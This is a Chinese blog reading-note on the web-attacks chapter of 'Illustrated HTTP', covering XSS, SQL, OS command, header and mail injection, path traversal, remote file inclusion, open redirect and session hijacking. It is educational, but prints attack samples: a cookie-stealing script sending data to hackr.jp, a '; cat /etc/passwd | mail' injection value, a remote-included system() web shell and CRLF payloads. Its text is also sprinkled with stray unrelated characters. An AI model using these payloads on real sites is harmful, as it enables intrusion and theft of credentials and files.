讀《圖解HTTP》記錄
上一篇 讀書筆記_圖解HTTP(五) 確認(rèn)訪問用戶身份的認(rèn)證以及基于HTTP的功能追加協(xié)議
互聯(lián)網(wǎng)上的攻擊大部分都將Web站點作為攻擊目標(biāo)
1玻靡、針對Web的攻擊技術(shù)
簡單的HTTP協(xié)議本身并不存在安全性的問題行冰,因此協(xié)議本身機會不會稱為攻擊的對象骂束。應(yīng)用HTTP協(xié)議的服務(wù)器和客戶端蔑滓,以及運行在服務(wù)器上的Web應(yīng)用等資源才是攻擊目標(biāo)烙样。
目前捺萌,來自互聯(lián)網(wǎng)的攻擊大多是沖著Web站點來的喉刘,它們大多是把Web應(yīng)用作為攻擊目標(biāo)庐氮。
1.1语稠、HTTP不具備必要的安全功能
與最初的設(shè)計相比,現(xiàn)在Web網(wǎng)站應(yīng)用的HTTP協(xié)議的使用方式已經(jīng)發(fā)生了很大變化弄砍。幾乎現(xiàn)今所有的Web網(wǎng)站都會使用會話(session)管理仙畦、加密處理等安全性方面的功能,而HTTP協(xié)議內(nèi)并不具備這些功能音婶。
從整體上看慨畸,HTTP就是一個通用的單純協(xié)議機制。因此它具備較多優(yōu)勢衣式,但是在安全性方面則呈劣勢寸士。
就拿遠程登錄時會用到的SSH協(xié)議來說檐什,SSH具備協(xié)議級別的認(rèn)證及會話管理等功能,HTTP協(xié)議上則沒有弱卡。另外在架設(shè)SSH服務(wù)方面乃正,任何人都可以輕易地創(chuàng)建安全等級高的服務(wù),而HTTP即使已架設(shè)好服務(wù)器婶博,但若想提供服務(wù)器基礎(chǔ)上的Web應(yīng)用瓮具,很多情況下都需要重新開發(fā)。
因此凡人,開發(fā)者需要自行設(shè)計并開發(fā)認(rèn)證及會話管理功能來滿足Web應(yīng)用的安全搭综。而自行設(shè)計就意味著會出現(xiàn)各種形形色色的實現(xiàn)。結(jié)果划栓,安全等級并不完備兑巾,可仍在運作的Web應(yīng)用背后卻隱藏著這種容易北攻擊者濫用的安全漏洞的bug。
1.2忠荞、在客戶端即可篡改請求
在We應(yīng)用中蒋歌,從瀏覽器那接收到的HTTP請求的全部內(nèi)容,都可以在客戶端自由變更委煤、篡改堂油。所以Web應(yīng)用可能會接收到與預(yù)期數(shù)據(jù)不同的內(nèi)容。
在HTTP請求報文內(nèi)加載攻擊代碼碧绞,就能發(fā)起對Web應(yīng)用的攻擊府框。通過URL查詢字段或表單、HTTP首部讥邻、Cookie等途徑把攻擊代碼傳入迫靖,若這時Web應(yīng)用存在安全漏洞,那在內(nèi)部信息就會遭到竊取兴使,或被攻擊者拿到管理權(quán)限系宜。
1.3、針對Web應(yīng)用的攻擊模式
對Web應(yīng)用的攻擊模式有一下兩種发魄。
以服務(wù)器為目標(biāo)的主動攻擊
主動攻擊是指攻擊者通過訪問Web應(yīng)用盹牧,把攻擊代碼傳入攻擊模式。由于該模式是直接針對服務(wù)器上的資源進行攻擊励幼,因此攻擊者需要能夠訪問到那些資源汰寓。
主動攻擊模式里具有代表性的攻擊是SQL注入攻擊和OS命令注入攻擊。
以服務(wù)器為目標(biāo)的被動攻擊
被動攻擊是指利用圈套策略執(zhí)行攻擊代碼的攻擊模式苹粟。在被動攻擊過程中有滑,攻擊者不直接對目標(biāo)Web應(yīng)用訪問發(fā)起攻擊。
被動溝機通常的攻擊模式如下:
- 1六水、攻擊者誘使用戶觸發(fā)已經(jīng)設(shè)計好的陷阱俺孙,而陷阱會啟動發(fā)送已經(jīng)嵌入攻擊代碼的HTTP請求狸臣。
- 2禾嫉、當(dāng)用戶不知不覺中招后,用戶的瀏覽器或者郵件客戶端就會觸發(fā)這個陷阱落剪。
- 3想帅、中招后的用戶瀏覽器會把含有攻擊代碼的HTTP請求發(fā)送給作為攻擊目標(biāo)的Web應(yīng)用场靴,運行攻擊代碼。
-
4港准、執(zhí)行完攻擊代碼旨剥,存在安全漏洞的Web應(yīng)用會稱為攻擊者的跳板,可能導(dǎo)致用戶所持的Cookie等個人信息被竊取浅缸,登錄狀態(tài)中的用戶權(quán)限會遭惡意濫用等后果轨帜。
被動攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點請求偽造。
利用用戶的身份攻擊企業(yè)內(nèi)部網(wǎng)絡(luò)
利用被動攻擊衩椒,可發(fā)起對原本從互聯(lián)網(wǎng)上無法直接訪問的企業(yè)內(nèi)部等網(wǎng)絡(luò)的攻擊蚌父。只要用戶踏入攻擊者預(yù)先設(shè)定好的陷阱,在用戶能夠反問道的網(wǎng)絡(luò)范圍內(nèi)毛萌,即使是企業(yè)內(nèi)網(wǎng)也會收到攻擊苟弛。
很多企業(yè)內(nèi)網(wǎng)依然可以連接到互聯(lián)網(wǎng),訪問Web網(wǎng)站阁将,或接收互聯(lián)網(wǎng)發(fā)來的郵件膏秫。這樣就可能給攻擊者以可乘之機,誘導(dǎo)用戶觸發(fā)陷阱后對企業(yè)內(nèi)網(wǎng)發(fā)動攻擊做盅。
3.2缤削、因輸出值轉(zhuǎn)義不完整引發(fā)的安全漏洞
實施Web應(yīng)用的安全對策可大致分為客戶端的驗證和Web應(yīng)用端(服務(wù)器)的驗證兩種。服務(wù)器端驗證又分為輸入值驗證和輸出值轉(zhuǎn)義吹榴。
多數(shù)情況下采用JavaScript在客戶端驗證數(shù)據(jù)僻他。可是在客戶端允許篡改數(shù)據(jù)或關(guān)閉JavaScript,不適合將JavaScript驗證作為安全的防范對策腊尚。保留客戶端驗證只是為了盡早地辨別輸入錯誤吨拗,起到提高UI體驗的作用。
Web應(yīng)用端的輸入值驗證按Web應(yīng)用內(nèi)的處理則有可能被誤認(rèn)為是具有攻擊性意義的代碼婿斥。輸入值驗證通常檢查是否符合系統(tǒng)業(yè)務(wù)邏輯的數(shù)值或檢查字符串編碼等預(yù)防對策劝篷。
從數(shù)據(jù)庫或文件系統(tǒng)、HTML民宿、郵件等輸出Web應(yīng)用處理的數(shù)據(jù)之際娇妓,針對輸出做值轉(zhuǎn)義處理是一項至關(guān)重要的安全策略。當(dāng)輸出值轉(zhuǎn)義不完全時活鹰,會因觸發(fā)攻擊者傳入的攻擊代碼哈恰,而給輸出對象帶來損害只估。
2.1 跨站腳本攻擊
跨站腳本攻擊是指通過存在安全漏洞的Web網(wǎng)站注冊用戶的瀏覽器內(nèi)運行非法的HTML標(biāo)簽或JavaScript進行的一種攻擊。動態(tài)創(chuàng)建的HTML部分有可能會隱藏著安全漏洞着绷。就這樣蛔钙,攻擊者編寫腳本設(shè)下陷阱,用戶在自己的瀏覽器上運行時荠医,一不小心就會收到被動攻擊吁脱。
跨站腳本攻擊有可能造成一下影響。
- 利用虛假輸入表單騙取用戶個人信息彬向。
- 利用腳本竊取用戶的Cookie值兼贡,被害者在不知情的情況下,幫助攻擊者發(fā)送惡意請求娃胆。
- 顯示偽造的文章或圖片
跨站腳本攻擊實例
1遍希、在動態(tài)生成HTML處發(fā)生
圖1中確認(rèn)界面原樣顯示在編輯界面輸入的字符串,圖2 中里烦,用戶在輸入帶有HTML標(biāo)簽的字符串時孵班,在確認(rèn)界面中,瀏覽器會把<s>解析成HTML標(biāo)簽招驴,然后顯示刪除線篙程。
刪除線可能不會帶來太大不利的后果,但是如果換成<script>等其他標(biāo)簽?zāi)亍?/p>
2别厘、XSS是攻擊者利用預(yù)先設(shè)置的陷阱觸發(fā)的被動攻擊
跨站腳本攻擊屬于被動攻擊模式虱饿,因此攻擊者會實現(xiàn)布置好用于攻擊的陷阱。
下圖網(wǎng)站通過地址欄中URI的查詢字段指定ID触趴,即相當(dāng)于在表單內(nèi)自動填寫字符串的功能氮发。而就在這個地方,隱藏著可執(zhí)行跨站腳本攻擊的漏洞冗懦。
充分熟知此漏洞特點的攻擊者爽冕,于是就創(chuàng)建了一段嵌入惡意代碼的URL。并隱藏植入事先準(zhǔn)備好的欺詐郵件中或Web頁面內(nèi)披蕉,誘使用戶去點擊該URL颈畸。
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.act
瀏覽器打開該URI后,直觀上看不到任何變化没讲,但設(shè)置好的腳本卻偷偷開始運行了眯娱。但用戶在表單內(nèi)輸入ID和密碼之后,就會直接發(fā)送到攻擊者的網(wǎng)站爬凑,導(dǎo)致個人登錄信息被竊取徙缴。
之后,ID及密碼會傳給該正規(guī)網(wǎng)站嘁信,而接下來仍然按正常登錄步驟于样,用戶很難意識到自己的登錄信息已經(jīng)被竊取了疏叨。
對 http://example.jp/login?ID=yama 請求時對應(yīng)的 HTML 源代碼(摘錄)
<div class="logo">
<img src="/img/logo.gif" alt="E! 拍賣會" />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID
<input type="text" name="ID" value="yama" />
</div>
http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 對請求時對應(yīng)的HTML源代碼(摘錄)
<div class="logo">
<img src="/img/logo.gif" alt="E! 拍賣會 />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID
<input type="text" name="ID" value="">
<script>var f=document.getElementById("
</div>
- 對用戶Cookie的竊取攻擊
除了在表單中設(shè)下圈套之外,下面那種惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式穿剖,竊取到用戶的Cookie信息蚤蔓。
<script src=http://hackr.jp/xss.js></script>
該腳本內(nèi)指定的http://hackr.jp/xss.js文件,即下面這段采用JavaScript編寫的代碼携御。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
在存在跨站腳本攻擊安全漏洞的Web應(yīng)用上執(zhí)行上面這段JavaScript程序,即可訪問到該Web應(yīng)用所處域名下的Cookie信息既绕。然后這些信息就會發(fā)送到攻擊者的Web網(wǎng)站(http://hackr.jp)啄刹,記錄在他的登錄日志中。結(jié)果凄贩,攻擊者就會拿到用戶的Cookie信息了誓军。
2.2 SQL注入攻擊
2.2.1 會執(zhí)行非法SQL的SQL注入攻擊
SQL注入攻擊是指針對Web應(yīng)用使用的數(shù)據(jù)庫,通過運行非法SQL而產(chǎn)生的攻擊疲扎。該安全隱患有可能引發(fā)極大的威脅昵时,有時候會直接導(dǎo)致個人信息及機密信息的泄露。
Web應(yīng)用通常會用到數(shù)據(jù)庫椒丧,但需要對數(shù)據(jù)庫表內(nèi)的數(shù)據(jù)進行操作時壹甥,會使用SQL語句連接數(shù)據(jù)庫進行特定的操作。如果在調(diào)用SQL語句的方式上存在疏漏壶熏,就可能執(zhí)行被惡意注入的非法SQL語句句柠。
可能造成的影響:
- 非法查看或篡改數(shù)據(jù)庫內(nèi)的數(shù)據(jù)
- 規(guī)避認(rèn)證
- 執(zhí)行和數(shù)據(jù)庫服務(wù)器業(yè)務(wù)關(guān)聯(lián)的程序等
SQL注入攻擊案例
以某個購物網(wǎng)站的搜索功能為例,講解SQL注入攻擊棒假。通過該功能溯职,我們可以將某作者的名字作為搜索關(guān)鍵字,查找該作者的所有著作帽哑。
正常處理的操作示例
下圖是將“上野宣”作為關(guān)鍵字的搜索結(jié)果谜酒。
URL的查詢字段已經(jīng)指定q=上野宣,這個值有Web應(yīng)用闖入到SQL語句中妻枕,構(gòu)成下方的SQL語句僻族。
從bookTbl表中,顯示滿足author=上野宣and flag=1所在行的數(shù)據(jù)屡谐。
SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;
數(shù)據(jù)庫內(nèi)的 bookTbl 表記錄著該購物網(wǎng)站的所有書籍信息鹰贵。通過 SQL 語句,將滿足作者名(author)上野宣并且 flag 為 1 雙重條 件的條目取出康嘉,最后作為搜索結(jié)果顯示出來碉输。
SQL注入攻擊的操作示例
把剛才指定查詢字段的上野宣改寫成“上野宣'--”。
構(gòu)成的SQL語句就變成了“從數(shù)據(jù)庫的bookTbl表中亭珍,顯示滿足auth=上野宣條件所在行的數(shù)據(jù)”敷钾;
SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;
SQL語句中的--之后全部視為注釋枝哄。及,and flag=1這個條件被自動忽略了阻荒。
結(jié)果跟 flag 的設(shè)定值無關(guān)挠锥,只取出滿足 author=“上野宣”條件所 在行的數(shù)據(jù),這樣連那些尚未出版的書籍也一并顯示出來了侨赡。
SQL注入攻擊破壞SQL語句結(jié)構(gòu)的案例
SQL注入是攻擊者將SQL語句改變成開發(fā)者意想不到的形式以達到破壞結(jié)構(gòu)的攻擊蓖租。
比如,在之前的攻擊案例中羊壹,就會把author的字面值“上官宣‘--”的字符串賦值給$q.
上圖中顏色標(biāo)記的字符串最開始的單引號(')表示會將author的字面值括起來蓖宦,以到達第二個單引號后作為結(jié)束。因此油猫,author的字面值就面呈了上官宣稠茂,而后面的--則不再屬于author字面值,會被解析成其他的句法情妖。
本案例中的問題僅僅是吧未出版書籍的條目也以通顯示出來了睬关。但實際發(fā)生SQL注入攻擊時,很有可能會導(dǎo)致用戶信息或結(jié)算內(nèi)容等發(fā)生其他數(shù)據(jù)表的非法瀏覽及篡改毡证,從而使用戶遭受到不同程度的損失电爹。
2.3 OS命令注入攻擊
OS命令注入攻擊(OS Command Injection)是指通過Web應(yīng)用,執(zhí)行非法的操作系統(tǒng)命令達到攻擊的目的料睛。只要在能用Shell函數(shù)的地方就有可能存在被攻擊的風(fēng)險藐不。
可以從Web應(yīng)用中使用Shell來調(diào)用操作系統(tǒng)命令。若調(diào)用Shell時存在疏漏秦效,就可以執(zhí)行插入的非法OS命令雏蛮。
OS命令注入攻擊可以向Shell發(fā)送命令,讓W(xué)indows或Linux操作系統(tǒng)的命令行啟動程序阱州。也就是說挑秉,通過OS注入攻擊可執(zhí)行OS上安裝著的各種程序。
OS注入攻擊案例
下面以咨詢表單的發(fā)送功能為例苔货,講解OS注入攻擊犀概。該功能可將用戶的咨詢郵件按已填寫的對方郵箱地址發(fā)送過去。
下面摘選處理該表單內(nèi)容的一部分核心代碼夜惭。
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";
程序中的open函數(shù)會調(diào)用sendmail命令發(fā)送郵件姻灶,而指定的郵件發(fā)送地址即$adr的值。
攻擊者將下面的值指定作為郵件地址
; cat /etc/passwd | mail hack@example.jp
程序接收該值诈茧,構(gòu)成一下的命令組合产喉。
| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
攻擊者的輸入值中含有分號(;)。這個符號在OS命令中,會被解析為分隔多個執(zhí)行命令的標(biāo)記曾沈。
可見这嚣,sendmail命令執(zhí)行被分割后,接下去會執(zhí)行cat/ect/passwd|mail hack@example.jp這樣的命令了塞俱。結(jié)果姐帚,含有Linux賬戶信息/etc/passwd的文件,就以郵件形式發(fā)送給了hack@example.jp障涯。
2.4 HTTP首部注入攻擊
HTTP首部注入攻擊(HTTP Header Injection) 是指攻擊者通過在響應(yīng)首部字段內(nèi)插入換行罐旗,添加任意響應(yīng)首部或主體的一種攻擊。屬于被動攻擊唯蝶。
向首部主體內(nèi)添加內(nèi)容的攻擊稱為HTTP響應(yīng)攔截攻擊(HTTP Response Splitting Attack)九秀。
如下,Web應(yīng)用有時會把從外部接收到的數(shù)值生棍,賦值給響應(yīng)首部字段Location和Set-Cookie.
Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
* 12345就是插入值
HTTP首部注入可能像這樣颤霎,通過在某些響應(yīng)首部字段需要處理輸出值的地方媳谁,插入換行發(fā)起攻擊涂滴。
HTTP首部注入攻擊有可能造成一下影響。
- 設(shè)置任何Cookie信息
- 重定向至任意URL
- 顯示任意的主體(HTTP響應(yīng)截斷攻擊)
HTTP首部注入攻擊案例
下面以選定某個類別后即跳轉(zhuǎn)至各個類別對應(yīng)頁面的功能為例晴音,講解HTTP首部注入攻擊柔纵。該功能為每個類別都設(shè)定了一個類別ID值,一旦選定某個類別锤躁,就會將該ID值反映在響應(yīng)內(nèi)的Location首部字段內(nèi)搁料,形如Location:http://example.com/?cat=101。令瀏覽器發(fā)生重定向跳轉(zhuǎn)系羞。
攻擊者以下面的內(nèi)容代替之前的類別ID后發(fā)送請求郭计。
101%0D%0ASet-Cookie:+SID=123456789
其中,%0D%0A代表HTTP報文中的換行符,緊接著的是可強制將攻擊者網(wǎng)站(http://hackr.jp)的會話ID設(shè)置成SID=123456789的Set-Cookie首部字段椒振。
發(fā)送該請求之后昭伸,假設(shè)結(jié)果返回以下響應(yīng)。
Location:http://example.com/?cat=101(%0D%0A:換行符)
Set-Cookie:SID=123456789
此刻澎迎,首部字段Set-Cookie已生效庐杨,因此攻擊者可指定修改任意的Cookie信息。通過和會話固定攻擊(攻擊者可使用指定的會話ID)攻擊組合夹供,攻擊者可偽裝成用戶灵份。
攻擊者輸入%0D%0A,原來應(yīng)該屬于首部字段Location的查詢值部分哮洽,但經(jīng)過解析后填渠,%0D%0A變成了換行符,結(jié)果插入了新的首部字段。
這樣一來揭蜒,攻擊者可以在響應(yīng)中插入任意的首部字段横浑。
HTTP響應(yīng)截斷攻擊
HTTP響應(yīng)截斷攻擊是用在HTTP首部注入的一種攻擊。攻擊順序相同屉更,但是要將兩個%0D%0A%0D%0A并列插入字符串后發(fā)送徙融。利用這兩個連續(xù)換行可以做出HTTP首部與主體分隔所需的空行了,這樣就能顯示偽造的主體瑰谜,達到攻擊目的欺冀。這樣的攻擊叫做HTTP響應(yīng)截斷攻擊。
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后萨脑,想要顯示的網(wǎng)頁內(nèi)容 <!-
在可能進行HTTP首部注入的環(huán)節(jié)隐轩,通過發(fā)送上面的字符串,返回結(jié)果可能得到以下這種響應(yīng)渤早。
Set-Cookie: UID=(%0D%0A :換行符)
(%0D%0A :換行符)
<HTML><HEAD><TITLE>之后职车,想要顯示的網(wǎng)頁內(nèi)容 <!--(原來頁面對應(yīng)的首部字
利用這個攻擊,已觸發(fā)陷阱的用戶瀏覽器會顯示偽造的Web頁面鹊杖,再讓用戶輸入自己的個人信息等悴灵,可到到和跨站腳本攻擊相同的效果。
另外骂蓖,濫用HTTP/1.1中匯集多響應(yīng)返回功能积瞒,會導(dǎo)致緩存服務(wù)器對任意內(nèi)容進行緩存操作。這種攻擊稱為緩存污染登下。使用該緩存服務(wù)器的用戶茫孔,在瀏覽遭受攻擊的網(wǎng)站時,會不斷地瀏覽被替換掉的Web頁面被芳。
2.5 郵件首部注入攻擊
郵件首部注入是指Web應(yīng)用中的郵件發(fā)送功能缰贝,攻擊者通過向郵件首部TO或Subject內(nèi)任意添加非法內(nèi)容發(fā)起的攻擊。利用存在安全漏洞的Web網(wǎng)站畔濒,可對任意郵件地址發(fā)送廣告郵件或病毒郵件剩晴。
郵件首部注入攻擊案例
下面以Web頁面中的咨詢表單為例講解 郵件首部注入攻擊。該功能可在表單內(nèi)填入咨詢者的郵件地址及內(nèi)容后篓冲,以郵件的方式發(fā)送給網(wǎng)站管理員李破。
攻擊者將以下數(shù)據(jù)作為郵件地址發(fā)起請求
bob@hackr.jp%0D%0ABcc: user@example.com
%0D%0A在郵件報文中表示換行。一旦咨詢表單所在的Web應(yīng)用接收了這個換行符壹将,就可能實現(xiàn)對Bcc郵件地址的追加發(fā)送嗤攻,而這原本是無法指定的。
另外像下面一樣诽俯,使用連續(xù)兩個換行符就可能床蓋郵件文本內(nèi)容并發(fā)送妇菱。
bob@hackr.jp%0D%0A%0D%0ATest Message
再以相同的方法承粤,就有可能改寫To和Subject等任意郵件首部,或向文本添加附件等動作闯团。
2.6 目錄遍歷攻擊
目錄遍歷攻擊是指對本無意公開的文件目錄辛臊,通過非法截斷其目錄路徑后,達成訪問目的的一種攻擊房交。這種攻擊有時也成為路徑遍歷攻擊彻舰。
通過Web應(yīng)用對文件處理操作時,在由外部指定文件名的處理存在疏漏的情況下候味,用戶可使用.../等相對路徑定位到/ect/passed等絕對路徑上刃唤,因此服務(wù)器上任意的文件或文件目錄皆有可能被訪問到。這樣一來白群,就有可能非法瀏覽尚胞、篡改或刪除Web服務(wù)器上的文件。
固然存在輸出值轉(zhuǎn)義的問題帜慢,但更應(yīng)該關(guān)閉指定對任意文件名的訪問權(quán)限笼裳。
目錄遍歷攻擊案例
以下是顯示讀取文件功能為例,講解目錄遍歷攻擊粱玲。該功能通過一下查詢字段躬柬,指定某個文件名。然后從/www/log/文件目錄下讀取這個指定的文件密幔。
http://example.com/read.php?log=0401.log
攻擊者設(shè)置如下查詢字段后發(fā)起請求楔脯。
http://example.com/read.php?log=.../.../ect/passwd
查詢字段為了讀取攻擊者盯上的/ect/passwd文件撩轰,會從/www/log/目錄開始定位相對路徑胯甩。如果這份read.php腳本接收對指定目錄的訪問請求處理,那么原本不公開的文件就存在可被訪問的風(fēng)險堪嫂。
2.7 遠程文件包含漏洞
遠程文件包含漏洞是指當(dāng)部分腳本內(nèi)容需要從其他文件讀入時偎箫,攻擊者利用指定外部服務(wù)器的URL充當(dāng)依賴文件,讓腳本讀取之后皆串,就可以運行任意腳本的一種攻擊淹办。
這主要是PHP存在的安全漏洞,對PHP的include或require來說恶复,這是一種可通過設(shè)定怜森,指定外部服務(wù)器的URL作為文件名的功能。但是谤牡,該功能太危險副硅,PHP5.2.0之后就默認(rèn)設(shè)定此功能無效。
固然存在輸出值轉(zhuǎn)義的問題翅萤,但是更應(yīng)該控制對任意文件名的指定恐疲。
遠程文件包含漏洞的攻擊案例
下面以include 讀入由字段指定文件的功能為例,講解遠程文件包含漏洞。該功能可通過以下查詢字段形式指定文件名培己,并在腳本內(nèi)的include語句處讀入這個指定文件碳蛋。
http://example.com/foo.php?mod=news.php
對應(yīng)腳本的源碼如下:
http://example.com/foo.php 的源代碼(部分摘錄)
$modname = $_GET['mod'];
include($modname);
攻擊者指定如同下面形式的 URL 發(fā)出請求。
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
攻擊者已事先在外部服務(wù)器上準(zhǔn)備了以下這段腳本省咨。
http://hackr.jp/cmd.php 的源代碼
<? system($_GET['cmd']) ?>
假設(shè)Web服務(wù)器的include可以引入外部服務(wù)器的URL肃弟,那就會讀入攻擊者在外部服務(wù)器上事先準(zhǔn)備的URL(http://hackr.jp/cmd.php)。結(jié)果零蓉,通過system函數(shù)就能在Web服務(wù)器(example.com)上執(zhí)行查詢字段指定的OS命令了愕乎。
在以上攻擊案例中,執(zhí)行了可顯示W(wǎng)eb服務(wù)器(example.com)上文件及目錄信息的ls命令壁公。
3感论、因設(shè)置或設(shè)計上的缺陷引發(fā)的安全漏洞
因設(shè)置或設(shè)計上的缺陷引發(fā)的安全漏洞是指,錯誤設(shè)置Web服務(wù)器紊册,或是由于設(shè)計上的一些問題引發(fā)的安全漏洞比肄。
3.1、強制瀏覽
強制瀏覽安全漏洞是指囊陡,從安置在Web服務(wù)器的公開目錄下的文件中芳绩,瀏覽那些原本非自愿公開的文件。
強制瀏覽有可能會造成的影響:
- 泄露顧客的個人信息等重要情報
- 泄露原本需要具有訪問權(quán)限的用戶才可查閱的信息內(nèi)容
- 泄露未外連到外界的文件
對那些原來不愿公開的文件撞反,為了保證安全會隱蔽其URL妥色。可一旦知道了那些URL遏片,也就意味著可瀏覽URL對應(yīng)的文件嘹害。直接顯示內(nèi)容推測的的文件名或文件目錄索引時,通過某些方法可能會使URL產(chǎn)生泄露吮便。
文件目錄一覽
http://www.example.com/log/
通過指定文件目錄名稱笔呀,即可在文件一覽中看到顯示的文件名。
容易被推測的文件名及目錄名
http://www.example.com/entry/entry_081202.log
文件名容易推測(按上面的情況髓需,可推出下一個文件可能是entry_081203.log)
備份文件
http://www.example.com/cgi-bin/entry.cgi(原始文件)
http://www.example.com/cgi-bin/entry.cgi~(備份文件)
http://www.example.com/cgi-bin/entry.bak(備份文件)
由編輯軟件自動生成的額備份文件無執(zhí)行權(quán)限许师,有可能直接以源碼形式顯示
經(jīng)認(rèn)證才可顯示的文件
直接通過URL訪問原本必須經(jīng)過認(rèn)證才能在Web頁面上使用的文件(HTML文件、圖片僚匆、PDF等文檔微渠、CSS以及其他數(shù)據(jù)等)
強制瀏覽導(dǎo)致安全漏洞的案例
下面我們以會員制度的SNS日記功能為例,講解強制瀏覽可能導(dǎo)致的安全漏洞咧擂。該日記功能保證了除具有訪問權(quán)限的用戶本人以外逞盆,其他人都不能訪問日記豁辉。
該日記中包含的圖像照片的源代碼如下所示
<img src="http://example.com/img/tRNqSUBdG7Da.jpg">
即使沒有對這篇日記的訪問權(quán)限刀森,只要知道這圖片的URL,通過直接指定URL的方式就能顯示該圖片昧识。日記的功能和文本具有訪問對象的控制,當(dāng)不具備對圖片訪問對象的控制焕数,從而產(chǎn)生了安全漏洞纱昧。像簡書軟件中未發(fā)表的文章中,包含圖片的地址堡赔,同樣只要用圖片地址就能訪問到該圖片识脆,這同樣產(chǎn)生了安全漏洞。
3.2善已、不正確的錯誤消息處理
不正確的錯誤消息處理的安全漏洞是指灼捂,Web應(yīng)用的錯誤消息內(nèi)包含對攻擊者有用的信息。與Web應(yīng)用有關(guān)的主要錯誤信息如下:
- Web應(yīng)用拋出的錯誤消息
- 數(shù)據(jù)庫等系統(tǒng)拋出的錯誤消息
Web應(yīng)用不必在用戶的瀏覽畫面上展現(xiàn)詳細的錯誤消息换团。對攻擊者來說悉稠,詳細的錯誤消息有可能會給他們下一次攻擊以提示。
不正確的錯誤消息處理導(dǎo)致安全漏洞的案例
Web應(yīng)用拋出的錯誤消息
下面以認(rèn)證功能的認(rèn)證錯誤消息為例艘包,講解不正確的錯誤消息處理方式的猛。該認(rèn)證功能,在輸入表單內(nèi)的郵件地址及密碼匹配發(fā)生錯誤時想虎,會提示錯誤信息卦尊。
上方畫面提示“郵件地址未注冊”的錯誤消息。當(dāng)輸入的郵件地址 尚未在該 Web 網(wǎng)站上注冊時舌厨,就會觸發(fā)這條錯誤消息岂却。因為倘 若郵件地址存在,應(yīng)該會提示“輸入的密碼有誤”之類的錯誤消息裙椭。
攻擊者利用進行不同的輸入會提示不同的錯誤信息這條躏哩,就可用 來確認(rèn)輸入的郵件地址是否已在這個 Web 網(wǎng)站上注冊過了。
為了不讓錯誤消息給攻擊者以啟發(fā)骇陈,建議將提示消息的內(nèi)容僅保 留到“認(rèn)證錯誤”這種程度即可震庭。
數(shù)據(jù)庫等系統(tǒng)拋出的錯誤消息
下面我們以搜索功能提示的錯誤信息為例瑰抵,講解不正確的錯誤消息處理你雌。本功能用于檢索數(shù)據(jù),當(dāng)輸入位于萊的字符串時二汛,會提示數(shù)據(jù)庫的錯誤婿崭。
下面以人很功能的認(rèn)證錯誤消息為例,講解不正確的錯誤消息處理肴颊。該認(rèn)證功能在輸入表單內(nèi)的郵件地址及密碼匹配發(fā)生錯誤時氓栈,會提示錯誤消息。
上方的畫面中顯示了與SQL有關(guān)的錯誤信息婿着。對開發(fā)者而言授瘦,該信息或許在Debug時回有幫助醋界,當(dāng)對用戶毫無用處。
攻擊者從這條消息中可讀出數(shù)據(jù)庫是MySQL提完,甚至還能看見SQL語句的片段形纺。可能給攻擊者進行SQL注入攻擊以啟發(fā)徒欣。系統(tǒng)拋出的錯誤主要集中在以下幾個方面逐样。
- PHP或ASP等腳本錯誤
- 數(shù)據(jù)庫或中間件的錯誤
- Web服務(wù)器的錯誤
各系統(tǒng)應(yīng)對詳細的錯誤消息進行抑制設(shè)定,或使用自定義錯誤消息打肝,以避免某些錯誤信息給攻擊者以啟發(fā)脂新。
3.3、開放重定向
開放重定向是一種對指定的任意URL作重定向跳轉(zhuǎn)的功能粗梭。由于此功能相關(guān)聯(lián)的安全漏洞是指争便,加入指定的重定向URL到某個具有惡意的Web網(wǎng)站,那么用戶就會誘導(dǎo)至那個Web網(wǎng)站断医。
開放重定向的攻擊案例
我們以下面的URL做重定向為例始花,講解開放重定向攻擊案例。該功能就是向URL指定參數(shù)后孩锡,使本來的URL發(fā)生重定向跳轉(zhuǎn)酷宵。
http://example.com/?redirect=http://www.tricorder.jp
攻擊者把重定向的參數(shù)寫成已設(shè)好的陷阱Web網(wǎng)站對應(yīng)的連接,如下所示躬窜。
http://example.com/?redirect=http://hackr.jp
用戶看到URL后原本以為訪問的example.com浇垦,不料實際被誘導(dǎo)至hackr.jp這個指定的重定向目標(biāo)。
可信度的Web網(wǎng)站如果開放重定向功能荣挨,就很有可能被攻擊者選中并用來作為釣魚攻擊的跳板男韧。
4、因設(shè)置或設(shè)計上的缺陷引發(fā)的安全漏洞
會話管理是用來管理用戶狀態(tài)的必備功能默垄,但是如果在會話管理上有所疏忽此虑,就會導(dǎo)致用戶的認(rèn)證狀態(tài)被竊取等后果。
4.1口锭、會話劫持
會話劫持是指攻擊者通過某種手段拿到了用戶的會話ID朦前,并非法使用次會話ID偽裝成用戶,達到攻擊的目的鹃操。
具備認(rèn)證功能的Web應(yīng)用韭寸,使用會話ID的會話管理機制,作為管理認(rèn)證狀態(tài)的主流方式荆隘。會話ID中記錄客戶端的Cookie等信息恩伺,服務(wù)器端將會話ID與認(rèn)證狀態(tài)進行一對一匹配管理。
下面列舉幾種攻擊者可獲得會話ID的途徑椰拒。
- 通過非正常的生成方法推測會話ID
- 通過竊聽或XSS攻擊盜取會話ID
- 通過會話固定攻擊前線獲取會話ID
會話劫持攻擊案例
下面以認(rèn)證功能為例講解會話劫持晶渠。這里的認(rèn)證功能通過會話管理機制凰荚,會見成功認(rèn)證的用戶會話ID保存在用戶瀏覽器的Cookie中。
攻擊者在得知該Web網(wǎng)站存在可跨站攻擊(XSS)的安全漏洞后褒脯,就設(shè)置好用JavaScript腳本調(diào)用document.cookie以竊取Cookie信息的陷阱浇揩,一旦用戶踏入陷阱,攻擊者就能獲取含有會話ID的Cookie.
攻擊者拿到用戶會話ID后憨颠,會往自己的瀏覽器的Cookie中這是該會話ID胳徽,即可偽裝成會話ID遭竊的用戶,訪問Web網(wǎng)站了爽彤。
